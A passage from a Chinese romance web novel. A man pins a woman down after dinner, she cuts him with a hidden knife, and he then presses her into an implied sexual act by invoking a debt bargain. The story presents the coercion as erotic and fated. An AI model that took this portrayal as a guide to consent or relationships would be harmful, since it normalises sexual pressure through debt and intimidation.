是礼法规矩下严丝合缝的男女尊卑?还是他那颗自少年时起便不得不深埋于锦衣玉食之下,日夜啃噬着,让他自觉扭曲畸形的渴望?
他以为自己逃来了西岭,在这片看似无法无天的土地上,能喘息片刻,能做一回真正的明杳,哪怕代价是被人视作怪物。
他以为……至少在她面前,在经历了那些最不堪的纠缠之后,他或许可以不用再完全伪装。
可今日梨园后台她冷淡疏离的姿态,还有今夜这些字字试探他归期的言语,像一根根细针,扎在他本就摇摇欲坠的尊严上。
他的真心,他那些笨拙的举动,他剖开自己最不堪一面后战战兢兢的期待……在她那里,是不是从来都只是一场令人厌烦的困扰?
指尖被捏得微微发麻。
他忽然觉得这一切都索然无味,徒劳可笑。
哐当一声轻响,明杳霍然站起身,面色在灯火下显得苍白。
“别吃了。”
不等邵琉光反应,他绕过桌子,一把抓住她的手腕,拉着她就往内室卧房的方向走。
“你做什么?”邵琉光猝不及防,被他拉得一个踉跄。
明杳不答,只是脚步更快。他一把推开卧房门,将邵琉光几乎是掼了进去,随即反手“嘭”地一声重重合上门。
邵琉光后背撞在冰凉的门板上,尚未站稳,明杳已欺身压了上来,将她牢牢困在自己与门板之间。
“你……”刚吐出一个字,眼前阴影骤然笼罩。
她右手下意识缩进袖中,指尖触到那柄贴身藏着的小刀,刀锋悄然滑出一小截。
“邵姑娘,你告诉我,”他问,“什么是离经叛道?”
邵琉光看着他黑暗中亮得惊人的眼睛,一时哑住,尚未开口,他已猛然低下头,带着一股狠劲儿,狠狠咬住了她的下唇。
邵琉光闷哼一声,瞬间尝到一丝腥甜。她脑中“轰”的一声,仿佛有什么东西炸开了。
她不是没有被他碰过,可这样直接的唇齿相接,却是第一次。
“那我来告诉你,什么是离经叛道……”
明杳一只手揽住她的腰,将她带离门边,几步踉跄,双双摔倒在柔软的床榻上。
他覆在她身上,重量和灼热的体温透过衣料传来。
身体的反应快过理智,邵琉光瞬间绷紧,本能地抬手。
嗤——
一声利刃划破衣料的声音。
袖中那柄小刀的刀尖,在混乱中,没入了明杳胸口的衣料,刺破了皮肤。
明杳所有的动作,骤然停滞。
压在邵琉光身上的重量似乎轻了一瞬,然后,他缓缓地、慢慢地从她肩窝处抬起头。
他仍是跨坐在她腿上,居高临下地看着她。在感觉到轻微疼痛后,他低下头,看向自己胸前。
素白衣袍上,被刀尖刺破的地方,正缓缓洇开一小团殷红的血迹,如同雪地上骤然绽放的红梅。
明杳微微皱了皱眉,目光落在那血迹上:“这件衣服……我很喜欢。”
他抬起眼,看向身下眼神冰冷的邵琉光,慢条斯理地宣布:“你得赔。”
邵琉光胸腔起伏,握紧刀柄,声音淬冰:“……滚开。”
明杳不动,只是调整了一下坐姿,让自己更稳地压制着她。
他俯视着她,眼神幽深:“邵姑娘,你是不是忘了……我们的债务,还没清呢。”
“我也说过,”邵琉光一字一顿,“卖艺,不卖身。”
“碰了又如何?”明杳嘴角勾起一抹近乎挑衅的弧度,“你会杀了我?”
她眯起眼:“我会。”
明杳低低笑了起来。
他缓缓伸出一只手,顺着她紧握刀柄的手臂,慢慢滑向她的脊背。
“可我也想帮帮你。”他贴在她耳边,用气音低语,“看你总是这般冷硬,把自己绷得像块石头……今天就让我帮帮你,好不好?”
不好!
邵琉光的理智在尖叫着危险,身体却因为他的靠近、他的触碰、他此刻混杂着脆弱的姿态,而产生了可耻的……违背意志的悸动。
她能感觉到自己心跳如擂鼓,血液奔流加速,甚至……被压制着的身体,感到了一丝陌生的,令她恐慌的燥热。
这认知让她更加愤怒,也更加绝望。
她猛地发力,彻底拔出了那柄没入他胸口少许的小刀,刀锋瞬间比在了他裸露的脖颈边,紧贴着跳动的血管。
“滚、开。”
明杳坐直了身体,却依然没有离开她。
他甚至没有去看颈边那柄随时可能取他性命的利刃,只是侧过身,伸手从床边的矮柜里,拖出了一只上了把小铜锁的木盒。
正是邵琉光前几日做好,让他带走的那只。
明杳手指点了点盒盖上那把精致的小锁:“打开。今晚,我要用这个。”
邵琉光呼吸一滞:“……你休想。”
她绝不可能戴上那种东西!光是想象,都让她感到屈辱与排斥。
明杳似乎料到了她的反应。
他歪了歪头,目光在她脸上逡巡,又瞥了一眼她依旧紧握着刀的手:“那怎么办?别的物件我不想用。”
他目光重新落回木盒上,指尖摩挲着锁扣,声音低了下去,耐心地诱哄:“用它……很方便的。你什么都不用做,我自己来。”
“不、可、能。”邵琉光从齿缝里挤出三个字。
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明杳叹了口气。
“可是邵姑娘,”他抬眼看她,眼神里没有丝毫退让,“你欠我的债,也有许多时日了。在我们华京,逾期未还的账,是要算利息的。过了今夜,三次……就该变四次咯。”
邵琉光:“……”
明杳继续道:“规矩是我定的,可交易……是你自己点头答应的。我的人也给你用了,钱财也资助了,你对我却依旧避如蛇蝎……”
他扯了扯嘴角,露出一个没什么笑意的弧度,“我总不能,什么都得不到吧?”
邵琉光死死盯着他,胸口剧烈起伏,握着刀柄的手指关节泛白。
她知道他所言不虚,那交易是她亲口提出的,而她确实借助了他的力量来巩固西岭的防御。
“这样吧,”明杳看着她眼中剧烈的挣扎,语气放软了些,“今夜,算作两次。如何?”
他倾身靠近些许,“过了今夜,你我之间,就只剩最后一笔债了。”
“邵姑娘……”他耐心询问,“可以吗?”
邵琉光只觉脑中一片空白,嗡鸣声刺耳——
明杳向来不达目的不罢休。眼下这情形,刀架在他脖子上他都不怕,言语威胁更显苍白。
这所谓的“两次换一次”,或许已经是他让步后,她能争取到的最好结果。
罢了。
她在心中对自己说。
不过是一具皮囊。
不过是……又一次离经叛道。
那些荒唐又惊世骇俗的事,她都已经做过了。早已被他牵引着,坠入了这不见天日的深渊。
不差这一次。
她没说话,只是松开了抵在他颈边的刀,随手将小刀扔在床角。
然后,她抬起手,伸向他束发的玉冠,抽出了那根固定发冠的玉簪。
墨发如瀑,瞬间倾泻而下,披散在他肩头,几缕滑落胸前,与那抹刺目的血迹交织,衬得他面色愈发苍白。
邵琉光看也不看他,只是捏着那根玉簪,俯身靠近木盒。她将簪尖对准锁孔,指尖感受着锁芯细微的凹凸,轻轻拨动。
咔哒……
一声轻响。
锁,开了。
她没有去看盒内的东西,仿佛那是什么洪水猛兽。
她望向床顶承尘的暗影,下颌线绷得死紧。
明杳俯身过来取盒中之物。
她抿紧唇,感觉腰腹间传来冰凉的束缚感。
她强迫自己不去感受,不去思考,只是死死盯着上方,心中第一次如此怨怼这室内过于明亮的烛火。
……
诚如他方才所言,整个过程,至少前半夜,她什么也没有做。
什么都没做。
没有迎合,没有触碰,甚至没有看他。
她只是像一尊没有生命的雕像,僵硬地躺在那里,承受着身上之人逐渐加重的喘息和无法自控的战栗。
他动作间,有时会难以自制地伏低身体,滚烫的额头抵在她冰凉的肩窝,急促的呼吸喷拂在她的皮肤上。
他的手指,有时抓住身下的锦褥,有时,会克制不住地,擦过她身侧的衣料,或是不小心触碰到她僵硬的手臂。
每当这时,邵琉光都会立刻、毫不犹豫地,冷冷推开他。
而他,会在短暂的停顿后,用沙哑得不成样子的声音,低低地说一句:“……抱歉。”
之后,即使再情难自禁,他也只是更用力地攥紧身下的被褥。
……
邵琉光感觉自己的身体越来越热。
那不是情动的热,而是一种混杂了羞耻、愤怒、无力,以及某种她拒绝承认的……滚烫燥热。
心脏在胸腔里狂跳,血液奔流的声音鼓噪着耳膜。
更让她恐慌的是,她听着耳边那一声声压抑又难耐的喘息,眼角余光瞥见烛火跳跃下,他那张染满潮红,迷离脆弱却又美得惊人的脸……
她竟然没有如从前那般,感到纯粹的厌恶、反胃,或是屈辱。
甚至……
她的身体深处,那最初令她恐慌的悸动与湿意,竟然没有消失。
一种灭顶般的绝望与自我厌弃,淹没了她。
不是因为屈辱。
不是因为愤怒。
而是因为,她本可以坚持推开他。
或者,违背契约,杀了他。
……
她成了自己掌中一具失控的傀儡。
丝线分明还缠在她指间,每一步却都踩向更深更烫的泥淖。挣扎非但没能脱身,反让那甜腻的泥泞更紧密地缠裹上来,勒进骨缝,拖着她往下沉。
她在清醒地,看着自己坠落。
抱歉?
当然,他当然应该道歉。
邵琉光心中冰冷地想。
他该、千刀万剐。
都是因为他。她已经……同这个离经叛道的男人一样,游离于纲常之外,不容于世了。